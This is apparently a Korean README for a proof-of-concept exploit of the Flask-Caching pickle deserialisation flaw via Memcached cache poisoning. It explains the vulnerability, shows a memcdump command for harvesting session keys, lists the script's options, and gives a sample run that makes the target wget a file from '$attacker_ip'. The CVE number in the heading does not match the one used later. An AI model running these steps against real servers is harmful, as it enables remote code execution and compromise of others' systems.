
Pickle 직렬화 원격 코드 실행 - Memcached 중독
Pickle 직렬화 원격 코드 실행 - Memcached 포이즈닝 PoC 익스플로잇
CVE-2021-3306이란?
"Flask용 Flask-Caching 확장(버전 1.10.1까지)은 직렬화에 Pickle을 사용하므로 원격 코드 실행이나 로컬 권한 상승이 발생할 수 있습니다. 공격자가 캐시 저장소(예: 파일 시스템, Memcached, Redis 등)에 접근할 수 있다면 조작된 페이로드를 구성하고 캐시를 오염시켜 Python 코드를 실행할 수 있습니다."
Pickle 라이브러리의 기능은 무엇인가요?
"Python의 Pickle은 주로 Python 객체 구조를 직렬화 및 역직렬화하는 데 사용됩니다. 즉, Python 객체를 바이트 스트림으로 변환하여 파일/데이터베이스에 저장하거나, 세션 간 프로그램 상태를 유지하거나, 네트워크를 통해 데이터를 전송하는 과정입니다."
Memcached란 무엇인가요?
"Memcached는 범용 분산 메모리 캐싱 시스템입니다. 일반적으로 데이터와 객체를 RAM에 캐싱하여 외부 데이터 소스를 읽는 횟수를 줄임으로써 동적 데이터베이스 기반 웹사이트의 속도를 높이는 데 사용됩니다."
[!] 익스플로잇:
1. 익스플로잇이 작동하려면 세션 쿠키를 제공해야 합니다. 왜일까요? 이 개념 증명에서는 취약한 Flask 애플리케이션의 세션 쿠키가 memcached 서비스에 의해 관리되거나 저장되는 경우를 다룹니다:
memcdump --servers=target_machine_ip_address

2. 익스플로잇 사용법:
-h --> 도움말 메뉴
--cmd --> 대상 머신에서 실행할 명령어
--rhost --> 대상 머신 IP 주소
--rport --> 대상 머신 포트
--cookie --> 취약한 Flask 애플리케이션의 실제 세션 쿠키입니다. 예: session:58e61600-9ecf-45b8-b7b8-db2f0a00f421
3. 익스플로잇 실행:
python3 cve-2021-33026_PoC.py --rhost $target_machine_ip_address --rport $target_machine_port --cmd "wget $attacker_ip/picke_memcached_posisoning_exploit" --cookie "session:58e61600-9ecf-45b8-b7b8-db2f0a00f421"

참고:
https://nvd.nist.gov/vuln/detail/CVE-2021-33026
https://github.com/pallets-eco/flask-caching/pull/209
https://www.synopsys.com/blogs/software-security/python-pickling/